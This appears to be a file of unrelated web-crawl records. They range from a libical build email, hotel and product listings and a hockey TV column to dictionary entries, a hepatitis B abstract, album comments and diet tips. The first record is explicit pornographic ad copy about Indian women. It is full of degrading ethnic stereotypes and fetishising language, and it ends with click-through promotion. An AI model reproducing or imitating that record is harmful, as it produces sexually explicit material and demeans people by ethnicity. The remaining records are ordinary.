text:
Where the hell do these studs find these Indian tarts? So many, and so hot! In this interracial episode, Indian stunner Shari takes on two fat white meatsticks with ease. She starts with the traditional double blowjob, but she"s really here to get banged; when she starts begging for it, the lads are happy to oblige! She gets on top of one stud and starts rocking on his manhood, then the other man takes the lead, bending her over and pummeling her sopping shaved cooter doggystyle. He ends up folding her almost in two for deeper penetration, making her scream with pleasure, with both dudes finally spunking out messily all over her sexy face.
Who knew that Indian hotties could be this xxx? Botsy"s not just taking on one man"s hard dickhead in this episode; she"s grabbing on two dude"s hard shafts to fulfill her fantasies. She opens up those beautiful eyes of hers and grabs the shlongs with both hands, taking turns sliding them in and out of her warm mouth. As she blows the second dude, the first man opens up her legs from behind and inches his way inside her New Dehli cunt. Her muffled moans as she deep throats a tool lets us know that she loves this hot threesome action. She"s pounded by both guys in her mouth and cooche alternately until they coat her face in their sticky white ejaculate.
Gia Jordan is a sexy Indian girl that came from Calcutta and a very conservative life. She had never even let her family see her naked, now she was going to be naked in a movie and loved it. She got naked and took Scott"s throbbing tool into her mouth. She sucked him good then got on top of him and rode him like she was on an Asian elephant. She let him lay her down and deep stroke her as she came all over his cock. Finally being able to let herself go and let it all out felt so good she came twice before he unloaded his balls all over her face.
You never really expect to see an Indian girl of the Middle Eastern variety to show up on a porn site - but here we are and here Rhani is. She"s even wearing what you would expect to see on an Indian hottie - and that just adds to the allure. She is an expert at sucking cock for sure, working that rod up and down her throat, staring up at the camera as if she is daring someone to come by and say something to her. I know I can"t say a damn thing - I can just sit there and stare at the beauty of this hardcore Indian princess.
Indian tart Mumtaz proves that nasty cock loving sluts come from all continents! She smiles with glee when she sees her guys" big cocks standing to attention and happily gets to her knees to warm up the hanging members. She loves it doggy, and bends over with her firm ass in the air and her ass cheeks spread, begging the two studs to come and fill up both her holes. They gladly oblige, pounding her pussy and then probing her ass. She ends up riding one dude"s cock, jamming the thick rod in and out of her asshole, desperate to cum. Both fellas spunk on her face, leaving a torrent of cum behind to drip down her chin onto her pert titties.
College Slut Indian slapper Sulmi gets ravaged by oversize cock mans Marco and Whack in this rough threesome flick. She"s fucking hot - beautiful exotic face, nice natural cannons, a great rump and curvy hips that scream "fertile!" She"s shy at first, a newcomer to America and not used to the open sexuality of the West, but she soon chills out and shows that she can suck their shafts like a five dollar street model. The guys tap that rump like there"s no tomorrow, bending her over and slamming her hard from behind while she gags and chokes on the other stud"s tool. They fill her pretty little mouth up with spunk until it"s spilling out over her breasts.
Asha Kumara loves to excercise and keep her sweet chocolate body in perfect shape! Wearing her sexy workout outfit, Asha spreads and poses, showing you all of her sultry exotic curves. Asha is one of the RAREST girls you will ever find, a real Indian teen that loves to show off her body. Every photo set Asha makes has a matching HOT movie of Asha playing with her dripping wet 19 year old Desi pussy. Get up close and personal with Asha at the only place you will ever see her naked, her official website! Click here to see much more!
A massive pair of natural tits, a tight, shaved coochie - horny Indian fuck model Gloria has got it all! The first thing that dude Joe Cool notices about this big breasted babe is that phenomenal rack; she is virtually spilling out of her firm, traditional Indian skirt. He pulls her hooters out of her top and starts to suck on her nipples, eliciting a moan of pleasure from sexy Gloria. She bends over with her coochie stuck out, so Joe pulls open her anus cheeks and sticks his tongue right inside her crack. It turns out that this voluptuous babe loves to ride the tool, touching her boobs in Joe"s face while she grinds her coochie back and forth on his prick.
Shyamala Susheela is a rare Indian porn beauty that has dared to defy her country in order to get fucked on camera. It"s very rare to see a new face in Indian porn, and she certainly is one of the most lovely ones that I have ever seen. Griffin Szilveszter is in the mood to pound away at her, so off they go to a private room. He pounds that sweet Indian pussy and makes her gasp, moan, and scream. She loves all the attention almost as much as she loves defying the whole reason we don"t get to see Indians too often.
Addison Rose started out doing exclusive porn videos for low budget XXX websites and eventually graduated on to become a true hardcore sensation at some of the biggest brand name smut studios anywhere. Her first scene was with a guy for website, which was a lot of fun for her and she was able to use that early success to star in more than 30 feature adult film titles for companies that include Lethal Hardcore, , Vivid, Combat Zone, Digital Playground and several top websites, most notably Porn.com. Addison can also be seen in POV point of view gonzo porn videos and is best known for her blowjob abilities. Addison Rose is originally from Lincoln, Nebraska and was born in 1987. She is a brunette with all-American Midwestern good looks. Her measurements are an all natural 32C-24-34, weighing about 105 pounds and standing five feet, five inches tall. She moved to Arkansas where she graduated school in 2005. When Rose turned 18, she took a trip to Los Angeles and decided never to return to Arkansas. She entered the adult industry, in search of fast money, fame and an alternative lifestyle more exciting than anything offered by her small town upbringing. At first she juggled through a few stage names before choosing the one that fit her best. Collectors may find some of her rare early works under the names Hot Heather, Jenni Apples and Addison Crush. What makes those videos even more important is the fact that after a few months of being in the porn industry, she decided that she would no longer have sex with men on camera and only focus on solo scenes. These days Addison Rose remains active doing hot solo masturbation and sex toy videos for a few websites as well as live webcam shows for her fans - but if you want to watch her getting fucked you"ll need to dig deeper into her past for one of those collectable gems. Fortunately for you, Porn.com has already archived a few of her finest hardcore sex videos and if you want to see the best free Addison Rose porn tube videos ever, you can always find them right here with just a couple clicks. It"s that easy to enjoy the hottest hardcore Ms. Rose has ever produced for her fans!! Provide she has the business acumen to succeed in her days after her porn career concludes, Addison has already been laying the groundwork for her retirement from performing by running two adult modeling agencies where she booked models and even started her own production company based in Las Vegas called Vital Sin Entertainment, which she later sold in 2008. At that time, she felt that out of everything she did in the porn industry, her favorite part was interacting with her fans, so she decided to start touring more extensively and took part in several interactive website performances. If you haven"t had the chance to get fully exposed to the talents of Addison Rose on camera, we highly recommend the scene on Porn.com titled "Pretty Young Slut In Pigtails Licks Cum Off Table" which shows off her acting ability, sensuality and hardcore sex skills all at the same time. Fucked hard in a spa steam room, her tight pussy gets a deep workout and the way the light glitters off her belly ring as the action heats up is enough to draw your eyes right down toward the heat of holes for the nasty cum drenched finale Addison Rose wants you to see! Addison Rose has allegedly faced many challenges in her life, including living on food stamps in order to eat according to interviews published online. She also lived the good life as a pornstar when she had enough money to buy whatever she wanted. Throughout all of the these experiences, she has always stayed true to herself and not let anything change her outlook on life, mostly due to the fact that she loves life and has learned to trust herself to overcome hardships or handle successes with equal skill. In private discussions, Addison isn?t shy and doesn?t let other people?s opinions of her influence the way she wants to live her own life. She is fiercely independent and has earned everything she has, so she doesn"t feel any obligation to appease onlookers. The only people whose opinion truly matters to her is that of her loyal fans. She knows their continued pleasure is what pays her bills and for that reason she often does what her fans want, even if her agents or the studios or her personal friends disagree with their outlook. According to friends, Addison Rose is a "morning person" who wakes up bright and early with a seize the day attitude from the moment she opens her eyes and rolls out of bed straight through to each evening. She loves to wake up to new challenges every day and is thankful for the things porn has allowed her to obtain. Years of getting fucked hard, swallowing cum and letting fans see it all up close on camera have put her in a financial position so far ahead of where she might otherwise have ended up, and that good fortune is what keeps a gorgeous girl like Addison humble, even in the face of constant praise from fans and industry critics. According to one interview she published, her hero is her grandmother who taught her a lot of things growing up and gave her the confidence to overcome her meager beginnings. She never allowed where she started to cloud her dreams or obstruct her path to reach her goals. Being able to achieve anything, without surrounding to a poor start is part of what makes Addison Rose such an inspiration to so many new girls starting out as amateur starlets in the skin biz. For many, the belief is that if Addison Rose can do it... so can I! Addison Rose officially retired from performing in porn videos during 2010 and has been working hard on a mainstream movie and television commercial career, but she is still involved behind the scenes in several adult marketing projects. She always has a hand in upcoming new releases, finding new talent, providing agency work as a mentor for starlets and connecting adult business owners with the talent they need to succeed in the competitive world of XXX porn production.
Asha Kumara wants to be your secret lover ... and be there for you whenever you need her! Laying in your arms all night, trading kisses and touches until you fall asleep together in bliss. Asha loves to dress up in frilly sexy outfits for her guys, especially light colors that contrast beautifully with her dark exotic skin. Asha's skin is so silky smooth and soft that you can't help but to touch and taste her from head to toe! As Asha gets turned on, her body tingles in anticipation for pleasure. Don't be shy, check out Asha's website now. She is TOTALLY NAKED inside and loves to open her beautiful pink Indian pussy and touch her horny clit.Click here to see much more!


text:
Screenshot instructions:
Red Hat Linux
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Right-click on ad, choose "Copy Link", then paste here →
(This may not be possible with some types of ads)
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Please don't fill out this field.
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At long last I have managed to get libical 0.46 built on windoze using
VC8. I had to hack a couple of libical source files. I reckon these will
need to go into the official source at some point.
First, I changed vsnprintf.h after the #include <stdarg.h> statement (line
8). I added
#if !defined(_MSC_VER)
and added the closing #endif after the snprintf decl at the end.
This is necessary because VC8 does not define the __STDC__ macro as it
should. One cannot define it in the CMake because this makes other things
fail. Other VC headers expect it to be not defined basically and it causes
problems for some of the macros in fcntl.h.
It may be that at some version of Visual Studio this macro gets defined
correctly. I don't know. VC8 is all I have so I cannot check this easily.
A full fix might involve checking the value of _MSC_VER.
Then I had to edit ical.def. I removed all the occurences of
simple_str_to_float,, a routine that seems to no longer exist. This made
libical build. But the test program regression failed to link due to
missing symbol _icaltimezone_set_tzid_prefix. I added
icaltimezone_set_tzid_prefix to the end of ical.def and rebuilt and this
made everything build ok.
I am puzzled by the reports of everyone else being able to build libical
on windoze ok, given the problems I have found above. Maybe these problems
are peculiar to VC8. Hmmm.
Andrew Marlow
This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and delete this e-mail. Any unauthorised copying, disclosure or distribution of the material in this e-mail is prohibited.
Please refer to http://www.bnpparibas.co.uk/en/information/legal_information.asp?Code=ECAS-845C5H for additional disclosures.

subset: commoncrawl


text:
Hilton Garden Inn Elko
Select your stay dates to check availability at Hilton Garden Inn Elko
Hilton Garden Inn Elko
About the Hotel
Property Location
In the heart of Elko, Hilton Garden Inn Elko is close to Elko Convention Center and Northeastern Nevada Museum. This hotel is within close proximity of Great Basin College and Western Folklife Center.
Make yourself at home in one of the 84 guestrooms, featuring kitchens with refrigerators and microwaves. Conveniences include complimentary weekday newspapers and minibars, and you can also request rollaway/extra beds.
Rec, Spa, Premium Amenities
Enjoy a range of recreational amenities, including an indoor pool, a spa tub, and a fitness center. This hotel also features complimentary wireless Internet access and shopping on site.
Enjoy a meal at a restaurant or in a coffee shop/café. Or stay in and take advantage of the hotel's room service (during limited hours).
Business, Other Amenities
Featured amenities include a business center, express check-out, and a safe deposit box at the front desk.
Hotel Facilities
- Fitness facilities
- Business center
- Free WiFi
- Number of floors - 3
- Coffee shop or café
- Spa tub
- Smoke-free property
- Shopping on site
- Restaurant
- Safe-deposit box at front desk
- Total number of rooms - 84
- Express check-out
- Conference space
- Breakfast available (surcharge)
- Indoor pool
Room Facilities
- Refrigerator
- Pay movies
- Microwave
- Hair dryer
- Coffee/tea maker
- Free weekday newspaper
- Minibar
- Iron/ironing board
- Rollaway/extra beds available
- Kitchen
- Room service (limited hours)


text:
What's New?
Surf The Internet At Work?
Windows and other software programs store history about the different activities that you have performed on your computer and on the Internet. This information is stored in the system areas of your hard disk and the built-in Windows functions like 'Clear History' offer little protection as they can only partially delete this data. Anyone can take a look at your history and find out what you have been doing on your computer, and this raises serious privacy concerns.
Save your privacy now with this...
Spyware and Adware is software made by publishers that allow them to snoop on your browsing activity, invade your privacy, and flood you with those horrible popups. If you are like most users on the internet, chances are you are probably infected with these applications. That is why we have designed our revolutionary product.
The SecSoftware Team is dedicated to the production and development of highly reliable and trusted Security Software Programs.
Web Browser
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Malware | Laptop Theft | VoIP | VPN's | Wireless | What's New? | Links | Contact | Legal Stuff | Privacy Policy
Copyright © 2008-2012 Laptop-Security-Pro.com
All Rights Reserved


text:
How important is Hockey Night in Canada to your Saturday nights?
Enough that the thought of shelling out a few bucks to keep it beaming into your living room won't dim your passion for the oldest, most beloved tradition in Canadian sports television?
No, we're not suggesting for a minute that this CBC icon is headed for the world of pay-per-view. But it's a question that jumps to mind this week as the CRTC delves into a series of hearings that could affect exactly how much money you'll have to fork over on future cable or satellite television bills.
On the one side, you've got a group of "over the air" conventional networks -- CTV, Global and CBC among them -- asking for the same type of "fee for carriage" that specialty and digital channels now enjoy (initially awarded to compensate for their higher placement on the various tiers of channels).
Then, there's the cable and satellite guys, who want no part of the added fees because a) they think the conventional networks are doing just fine, thank you, without them, and b) they have every intention of passing the extra cost on to their customers if it goes through (and guess who's going to have to take the angry calls about it all?).
In the middle are folks like me who can remember the days when we didn't pay a dime for any TV channels, and got just about all we needed with the right antenna. Ah, but that was long before the world of specialty and digital television arrived. Who knew the wonders that a TSN or Rogers Sportsnet or The Score, or any of the dozens of other sports-specific networks that now exist, could bring into our lives?
All that being said, it'll be interesting to see the reaction to the new fees if they are indeed approved. Cable mogul Ted Rogers told the CRTC hearings he figures it would add about $5 to each customer's tab, and that he'd make sure a line on their bills would tell one and all who was responsible for the increase (the networks point out the cable guys add new charges all the time, and not always for a good reason).
Some folks will see $5 for what it is to their home budget -- less than 20 cents a day -- and not bat an eyelash. Others will be outraged at the thought of paying anything extra for something they've basically gotten for free their entire lives.
But, then again, isn't that the way our world is going these days? And just another indication that nothing, it seems, stays free forever.
ANOTHER NEW VIEW: Oh, those wacky folks at TSN. It wasn't enough that they put an analyst between the benches for an NHL broadcast. Now they're up for something else new. Chris Cuthbert and Glenn Healy will both be at ice level at HSBC Arena in Buffalo for tonight's Rangers-Sabres telecast. Yes, it's a broadcasting first, at least in the NHL (TSN points out Soviet broadcasters did the same during the 1972 Summit Series). "It'll be an interesting experiment," said Cuthbert, whose first pro sports broadcast -- an indoor soccer match in Montreal in 1982 -- was done from field level. "I hope we can make it work so we can do it again. I don't foresee the day when we do all our games from ice level, but it may be a nice perspective to use on occasion. When you're six storeys up, the game gets, as Glenn likes to say, a little antiseptic. You don't get a real feel for what's going on. (At ice level), you really get inside the game"
'NET GAIN? The dismantling of the sports department at Global Ontario Television is almost complete. The network announced Wednesday that, beginning in January, Rogers Sportsnet will produce the sports segments for Global News Ontario, with Sean McCormick anchoring the updates at 6 and 11 p.m. A customized sports package is planned for Global Morning News later in the new year. The move means current Global sports anchor Don Martin is out of a job, along with several other staff. At the end of August, the network canned its 11:30 p.m. Global Sports (originally Global Sportsline) and terminated veteran sportscaster Jim Tatti. He's now on XM Radio's Home Ice.
AROUND THE DIAL: Fox and Speed TV have acquired U.S. rights to Formula One auto racing in a three-year deal that runs through 2009. Four of the F1 broadcasts will air on Fox, including the Canadian Grand Prix in Montreal ... The Score attracted an impressive 238,000 viewers for its Vanier Cup broadcast last week. By contrast, the Mitchell Bowl (Ottawa-Saskatchewan) the previous Saturday drew 89,000 ... Sportsnet News is getting a new name -- Sportsnet Connected -- as of Jan. 8 ... Sunday's Bears-Patriots game earned a 15.4 rating for Fox, the highest NFL number on any network so far this season.


text: I stand corrected I thought 2010 was awful. Some of you might remember the thread I started that year that was shut down after 30k views and all sorts of hot issues. Well it must be something about years with gas at 4.00 in the Spring that makes companies bid work for wages instead of profit. Latest example, 40 acre mfg plant. with adjoining building r&d plant goes for ..........................................................................................................................................$500 (with a half mile creek that needs trimmed weekly on both sides. Let the debates begin. I personally think this company is hilarious. What are you guys seeing in your markets? Here, I have abandoned any hope of landing and big complexes as the giant LCO's have them so dirt cheap it's not worth it. I entered a different market and business is good here. Intelligent discussion encouraged.


text:
Bulova Concept Weather Station Wall Clock - Black Carbon Fiber Pattern Dial
Perfect for any game room, man's office, or den, this sporty weather station clock features a carbon fiber pattern dial, red accents and black finish.
- Solid wood case
- Black finish
- Carbon fiber pattern dial with raised black chapter ring and contrasting white markers
- Includes clock, thermometer with Celsius and Fahrenheit scales, and hygrometer
- Protective glass lens
- 2.5 x .5 inch engraving plate included
- 12.75 inches high x 9 inches wide x 2 inches deep
- Includes one AA battery
We are Authorized Bulova Retailers. You will receive a brand-new, factory fresh Clock with the Bulova 1 Year US Clock Warranty.
In stock items ordered by 4pm Eastern time ship the same day.
All orders $50.00 or more qualify for FREE UPS Ground delivery. Watch orders $149.00 or more qualify for FREE UPS 2nd Day Air delivery. Please note that FREE 2nd Day Air Delivery does not apply to clocks.
FREE Batteries Included as Your Gift with Purchase
Batteries are not included by the manufacturer, but at Princeton Watches, for your convenience we'll include the batteries it requires as a FREE gift with purchase of this clock.


text:
Skin dose
skin dose n.
The quantity of radiation delivered to the skin surface or absorbed in the skin.
Tagged: s
Read Also:
- Skin drag
skin drag See under drag.
- Skin-effect
noun, Electricity. 1. the phenomenon in which an alternating current tends to concentrate in the outer layer of a conductor, caused by the self-induction of the conductor and resulting in increased resistance. noun 1. the tendency of alternating current to concentrate in the surface layer of a conductor, esp at high frequencies, thus increasing its […]
- Skinflint
noun 1. a mean, niggardly person; miser. noun 1. an ungenerous or niggardly person; miser
- Skin flute


text:
Submit News
Apple to Shift iPad A6X SoC Orders From Samsung to TSMC
Jason Mick
January 2, 2013 11:21 AM
Recipient E-mail
Sender E-mail
Apple looks to eliminate reliance on its bitter smartphone rival
Embroiled in an international patent dispute, Apple, Inc. (
) is looking to drop the "friend" bit from its "frienemy" relationship with Samsung Electronics Comp., Ltd. (
). The
world's top two smartphone makers
, the American and South Korean electronics firms have seen an increasingly belligerent relationship in the smartphone industry; and yet they still are bound by a close tie. Apple pays Samsung to
manufacture the semiconductor chip "brains"
of its mobile devices.
But Apple is working hard to dump Samsung. Reports came on Wednesday that Apple was shifting contracts for its
fourth generation iPad's A6X system-on-a-chip
(SoC) to Taiwan Semiconductor Manufacturing Comp., Ltd. (
). The news was first reported in the
Commercial Times
. The report was
later picked up
by the
and other international outlets.
In 2012 Apple and Samsung are estimated to have done
$12B USD in business
together. However, as Apple shifts contracts to other chipmakers like TSMC that number is expected to dwindle.
2013 should still see large payments from Apple to Samsung. The TSMC production of iPad SoCs won't even hit the trial phase until sometime this quarter, and likely won't reach volume until the middle of the year if all goes well. And there's no guarantee all will go well; Apple
previously looked to shift away
from Samsung only to see those efforts reportedly
stymied by poor results
from TSMC.
Samsung should also be able to soften the blow of any lost business from Apple with its
increasing relationship with Qualcomm
Inc. (
), maker of the Snapdragon SoC line which sees frequent use in Android and Windows smart phones/tablets. While Apple is fleeing Samsung due to external factors, Qualcomm appears to be
moving away from TSMC
directly due to its yield performance. Of late Samsung has begun to produce
Snapdragon S4 chips
for Qualcomm, a contract which TSMC was originally expected to exclusively supply.
Some reports have indicated that Samsung may look to punish Apple for its
$1.05B USD patent infringement victory
against it by raising prices on i-device SoCs. However, other reports dispute these claims.
AFP [on Asia News Daily]
"It's okay. The scenarios aren't that clear. But it's good looking. [Steve Jobs] does good design, and [the iPad] is absolutely a good example of that." -- Bill Gates on the Apple iPad
Related Articles
Apple Unveils 7.9" iPad mini, 16GB Model Starts at $329
October 23, 2012, 1:50 PM
Doomsday for Samsung in U.S., Jury Rules it Slavishly Infringed Apple's Patents
August 24, 2012, 5:56 PM
Samsung to Crown Texas Fab With $4B USD Revamped SoC Line
August 21, 2012, 4:16 PM
Qualcomm Partners With Samsung for Chip Production
July 5, 2012, 1:33 PM
Samsung and Apple Abandon Talks, Commit to Total "Nuclear" War
May 24, 2012, 3:02 PM
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text:
In the middle of this year, i tried using the new Olay Regenerist Wrinkle Relaxing Cream for the first time. I brought it with me for my travels – Tioman, Shanghai, France, and Italy. Initially, i did notice that my skin was smoother after 10 minutes of application; and wrote a diary/review of my first two weeks using it:
– – – – – – – – – – – – – – – – – – – – –
First few days when i was in KL (Day 3):
– i didn't like the slightly gloopy consistency/texture of the moisturizer when i first started using it. Maybe it's because i'm just so used to my regular creamy ones that this was unusual for me. A girl friend said anti-ageing stuff has to be sticky to work (?) so i thought the texture may be a good thing after hearing that.
– i really like how the cream absorbs quickly and makes my skin slightly matte after that. It's GREAT to apply make up on, as it helps my make up not slide off or streak easily.
After Tioman (Day 8):
– Was a bit worried whether this cream could take up 'repairing' my skin after a day of harsh sun and outdoors, but it felt smooth and fine after application.
– Also, still loving the matte feel cos my face didn't feel sticky after taking my evening shower and going out for dinner on the beach.
After Shanghai (Day 14):
– I got really used to the cream in China, and actually looked forward to applying it regularly
– Also, i don't know if it's my imagination, but i do feel my face is less 'tired' looking. (The word that came to my mind was 'chan' but i don't think everyone will get it).
– I can also clearly see how my skin has got smoother (incredibly)
– – – – – – – – – – – – – – – – – – – – –
After using it consistently for weeks on end, i got used to seeing how the cream works in the first ten minutes upon application in reducing lines and wrinkles.
In fact, Olay is SO CONFIDENT that women everywhere will benefit from this cream… that they're having this crazy Money Back Offer if you're not satisfied with it!
How Olay Regenerist Wrinkle Relaxing Cream works so obviously in ONE application, is that it smoothens the skin's surface by filling the tiny "valleys" between fine lines and wrinkles with a breakthrough proprietary blend. Besides its immediate benefits of being a quick-fix wrinkle minimizer, the cream also works continuously over time to reduce volume of deep eye lines by 20% after 14 days of twice-daily treatment.
The formula is packed with Regenerist's signature Aminopeptide Complex, which renews the skin at the epidermis layer. In addition, a new biopeptide – Peptamide Y6 – is included in Olay Regenerist for the first time. The product's high concentration of intense humectants enables skin to be more agile to expression lines, which slows down the progression of expression lines to permanent lines and wrinkles.
Additionally, a VISIA Complexion analysis system showed that just ten minutes after application, the average Wrinkle Severity Score on women decreased by 26%.
Some of my girl friends came over to mine to hang out, and I got them to be "10-Minute Witnesses" by trying out the Olay Regenerist Wrinkle Relaxing Cream to see what they'd say about it…
They all pretty much had the exact feedback i did in writing my 2-week review – That it's a bit gloopy, but also how the skin was very smooth and matte after waiting for a few minutes.
If you'd like to be a "10-Minute Witness" yourself, pick up an Olay Regenerist Wrinkle Relaxing Cream next time you're at a pharmacy, and try it for yourself! One of the best things about the product is that it's got great value for money cos it's not overtly-priced at RM99.90.
And if you think it didn't work for you, you can get your money back! So it's win-win. You'll lose your wrinkles , but not your money! To see how easy it is to get your money back, visit www.olaymoneyback.com.
Other than that, i need to pick 3x winners to each take home Olay Regenerist products! (Olay Regenerist Wrinkle Relaxing Cream and Olay Regenerist Night Firming Cream)
To enter, just:
– upload a photo of yourself on Facebook
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The best three captions win an Olay Regenerist hamper each!
Contest deadline: 16th December 2012
Check out Olay Roadshow locations in Guardian and Watsons when you're out and about too


text:
[pe-zah-raw] /ˈpɛ zɑ rɔ/
a seaport in E Italy, on the Adriatic Sea.
/Italian ˈpeːzaro/
a port and resort in E central Italy, in the Marches on the Adriatic. Pop: 91 086 (2001) Ancient name Pisaurum (pɪˈsaʊrəm)
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- Pescadores
[pes-kuh-dawr-is, -eez, -dohr-] /ˌpɛs kəˈdɔr ɪs, -iz, -ˈdoʊr-/ noun 1. (used with a plural verb) . /ˌpɛskəˈdɔːrɪz/ plural noun 1. a group of 64 islands in Formosa Strait, separated from Taiwan (to which it belongs) by the Pescadores Channel. Pop: 91 950 (2007 est). Area: 127 sq km (49 sq miles) Chinese names Penghu, P'eng-hu
- Pescara
[pes-kah-rah] /pɛsˈkɑ rɑ/ noun 1. a city in E Italy, on the Adriatic Sea. /Italian pesˈkaːra/ noun 1. a city and resort in E central Italy, on the Adriatic. Pop: 116 286 (2001)
- Pescadores-islands
[Chinese puhng-hoo] /Chinese ˈpʌŋˈhu/ noun 1. a group of small islands off the coast of SE China, in the Taiwan Strait: controlled by Taiwan. About 50 sq. mi. (130 sq. km). [pes-kuh-dawr-is, -eez, -dohr-] /ˌpɛs kəˈdɔr ɪs, -iz, -ˈdoʊr-/ noun 1. (used with a plural verb) . /ˈpɛŋˈhuː/ noun 1. transliteration of the Chinese name […]
- Pescetarian
noun 1. a person whose diet is mostly vegetarian but includes fish and seafood. adjective 2. of or relating to pescatarians or their diet: a pescatarian breakfast. noun, adjective a vegetarian who will eat fish; also called pescevegetarian , piscetarian Word Origin 1993 Usage Note cooking


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Contact Us
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The Efficacy and Tolerability of Pegylated Interferon-α-2a in Chronic Hepatitis B: A Multicenter Clinical Experience
Ratnam D, Dev A, Nguyen T, Sundararajan V, Harley H, Cheng W, Lee A, Rusli F, Chen R, Bell S, Pianko S, Sievert W. J Gastroenterol Hepatol. 2011 Dec 14. doi: 10.1111/j.1440-1746.2011.07051.x. [Epub ahead of print]
Source Gastroenterology and Hepatology Unit, Monash Medical Centre, Department of Medicine, Monash University, Departments of Gastroenterology, St Vincent's Hospital, Victoria, Royal Adelaide Hospital, South Australia, Royal Perth Hospital, WA, Concord Repatriation Hospital, NSW , Australia.
Background Pegylated Interferon-α (PEG-IFN) provides potential advantages over nucleos(t)ide analogues in the treatment of chronic Hepatitis B (CHB) given its finite course, durability and lack of drug resistance. Much of the evidence is derived from controlled studies and it is unclear whether these results can be replicated in an everyday, non-controlled setting. The aim of this study was to examine the efficacy and tolerability of Peg-IFN-α2a in CHB patients in a clinical setting.
Methods CHB patients treated with Peg-IFN-α2a (180mcg/week, 48 weeks) at 5 tertiary hospitals were retrospectively identified. Baseline demographic and clinical data, on-treatment virological and serological responses and adverse events (AE) were recorded. Treatment outcomes were defined as ALT normalization, HBV DNA < 351 IU/ml and HBeAg seroconversion.
Results 63 HBeAg positive patients were identified (65% male, 80% born in Asia, 84% with viral loads > 6log IU/ml, 9.5% advanced fibrosis). Six months after therapy 46% achieved normalization of ALT, 16% had viral loads < 351 IU/ml and 32% achieved HBeAg seroconversion. 29 HBeAg negative patients were treated (75% male, 86% born in Asia, 48% had viral loads > 6log IU/ml, 24% advanced fibrosis). Six months post treatment, 55% and 36% maintained a normalized ALT and HBV DNA < 351 IU/ml respectively. Optimal viral suppression was maintained in 50-75% of patients over 2 years of follow up. 6.5% of all patients discontinued therapy due to AEs.
Conclusion In everyday clinical practice PEG-IFN therapy in CHB is well tolerated and can achieve a similar efficacy to that seen in large controlled trials.
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"Toshiba's new Satellite A105 platform balances state-of-the-art features with affordability in an attractive notebook design with Toshiba quality, reliability and innovation throughout. It is designed for people who desire all the advantages of mobile computing but don't want to give up the screen size and features of a desktop PC."
"Including Yahoo! Music player as a preinstalled software on Toshiba's notebooks gives users another way to enhance their multimedia experience."
"It's an ideal notebook for anyone who wants optimum productivity and multimedia performance in a portable form factor, whether around the home or away."
"The Satellite M100 notebook series offers consumers a stylish, lightweight notebook with the latest Intel processor technology optimized for mobile computing. It's an ideal notebook for anyone who wants affordable mobility without sacrificing performance."


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Berger pushes national data standards in HuffPost
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Berger pushes national data standards in HuffPost
Dan Berger
March 13, 2014 – NAFCU President and CEO Dan Berger touted progress in the push for national
data security
standards in an
Wednesday on
The Huffington Post
and criticized retailers for their claim that chip-and-PIN technology would solve the hacking problem.
"The retailers' zealous insistence on this aspect of security does nothing to afford consumers greater protection; their goal, instead, is to shield themselves from any additional oversight or cost," Berger wrote. "In fact, many credit unions are already moving towards adopting EMV and chip-and-PIN technology, but if that switch were completed tomorrow, the merchants would not be equipped to handle it. Chip-and-panacea? That is pie-in-the-sky talk from retailers, which want the rest of us to ignore reality."
Berger cited a technology expert from Verizon who said "simple two-factor authentication" would be enough to prevent 86 percent of breaches – "security common sense" which he said retailers were not employing.
Berger emphasized the importance of imposing stricter standards on retailers for the sake of the credit union industry, which he said is facing close to $30 million in costs as a result of the massive Target Corporation data breach alone. He reiterated the need for Congress to address the issue of national standards, especially a requirement for retailers to pay the costs of breaches resulting from negligence on their part.
"Our economy and consumers are not safe if only financial institutions are accountable," he wrote. "The companies that store consumer data need to secure their house."
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text:
Release Date: 2000 |
Album Rating: 5.0Nice to see you review again, good work.
This album is absolutely amazing, every song owns. One of my favorite guitar albums of all time as well.
Album Rating: 4.5Good album. Good review too.
Album Rating: 5.0I don't know no Afghan Wings. I was going with the storyline similarities with Glassjaw and I knew someone would get mad at me.
Album Rating: 4.5i listened to like the first four tracks then i had to go somewhere but i guess i'll finish the album sometime soon or w/e ok i didnt read it but good review
Album Rating: 4.5good review. SO FUCKING TRIUMPHANT.
Album Rating: 4.0Good review. I have The Happy Hollow and I enjoy it a lot, though I have a feeling this is probably completely different.
Album Rating: 5.0One of the best albums ever.
Album Rating: 4.5I really, really liked 'The Ugly Organ,' so I'll check this out....
Excellent review, as always. Again, I dont know why you still arent approved...
I love what I have heard of this album, but I can never find it. I can always find The Ugly Organ and Happy Hollow, but this is never there
Album Rating: 4.5[quote=pixiesfanyo]One of the best albums ever.[/quote]
Yup. Breathtaking, can't decide which is better this, or The Ugly Organ.
Album Rating: 4.5The Game of Who Needs Who the Worst is amazing.
Album Rating: 4.5I lost the will to fight
Album Rating: 4.5Definitely Cursive's best record. This band definitely don't get the attention that deserve.
Album Rating: 5.0One of my all time top 20 desert island discs......
Album Rating: 5.0i can tell this is an old review by the comparisons you make...
it was still awesome though.
this album goes down as a top 5 personal favorite
Album Rating: 4.5This is a good review and an awesome album. I'm split between giving it a 4.5 or a 5, because the while the instrumentation of the bass and drums fits the music perfectly, it isn't incredibly talented. But you may have influenced me to change to a 5 by showing that it doesn't have to be that talented or else it kinda would get in the way I guess. Like Rancid, Matt Freeman is an amazing bassist, but he is Rancid, making their music unbalanced.
Album Rating: 4.5where is the bass slapping
i don't understand
Would you say this is better or worse than The Ugly Organ?
But what's that supposed to mean?
Well if it's that close, I'll get on it. Hopefully soon. I really haven't been able to get a good chance to really listen to music lately. Got a fairly long flight in a few days though. House of Leaves and new music sounds great.
Thanks for having my musical back, buu.
Bands: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z


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wikiHow to Eat to Get a 6 Pack
One Methods:Snacking & RestingCommunity Q&A
If you are hoping to develop a six-pack, you will have to eat well on top of performing those ab crunching exercises. Keep in mind that you need to burn more calories every day than you take in if you want to get get a six pack. It may help to calculate how many calories you need to consume to lose weight before you get started.
1Day 1: Eat 1 cup of oatmeal and 1 cup fresh fruit for breakfast, a turkey breast sandwich and a cup of veggie sticks for lunch, and a chicken stir-fry for dinner. This menu will provide fiber, antioxidants, protein, vitamins, minerals, and healthy fats with minimal calories.
- Make your own oatmeal to avoid the added sugar and salt from pre-flavored packs, sweetening with honey or brown sugar and topping with fresh fruit, a tablespoon of nuts or seeds, and/or ground cinnamon or nutmeg.
- Use whole grain bread and vegetables (preferably with no mayonnaise) for the sandwich and consider vegetables like celery, red peppers, carrot sticks, or cucumbers. If you prefer to have a dip for the vegetables, opt for lentil hummus or homemade white bean dip instead of salad dressing or sour cream dip.
